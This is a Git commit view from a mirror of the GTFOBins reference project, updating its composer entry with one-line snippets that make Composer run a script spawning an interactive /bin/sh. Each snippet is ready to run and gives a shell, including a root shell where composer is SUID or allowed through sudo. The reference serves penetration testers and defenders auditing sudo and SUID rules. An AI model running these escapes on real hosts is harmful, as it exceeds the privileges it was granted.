public-mirrors/GTFOBins.github.io
1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io synced 2024-12-25 06:19:27 +01:00
Code Issues Projects Releases Wiki Activity

Update composer

Browse Source 
- align to the GTFOBins conventions
- avoid Python
- use limited SUID instead of just SUID
This commit is contained in:
Andrea Cardaci 2020-11-08 10:33:56 +01:00
parent deaf47943f
commit 03c30e9944
1 changed files with 12 additions and 17 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

29
_gtfobins/composer.md
View File

@ -1,23 +1,18 @@
---
functions:
suid:
shell:
- code: |
cat << EOF > composer.json
{
"scripts": {
"command": "python3 -c 'import pty;pty.spawn(\"bash\")'"
}
}
EOF
./composer run-script command
TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
composer --working-dir=$TF run-script x
limited-suid:
- code: |
TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
./composer --working-dir=$TF run-script x
sudo:
- code: |
cat << EOF > composer.json
{
"scripts": {
"command": "python3 -c 'import pty;pty.spawn(\"bash\")'"
}
}
EOF
composer run-script command
TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
sudo composer --working-dir=$TF run-script x
---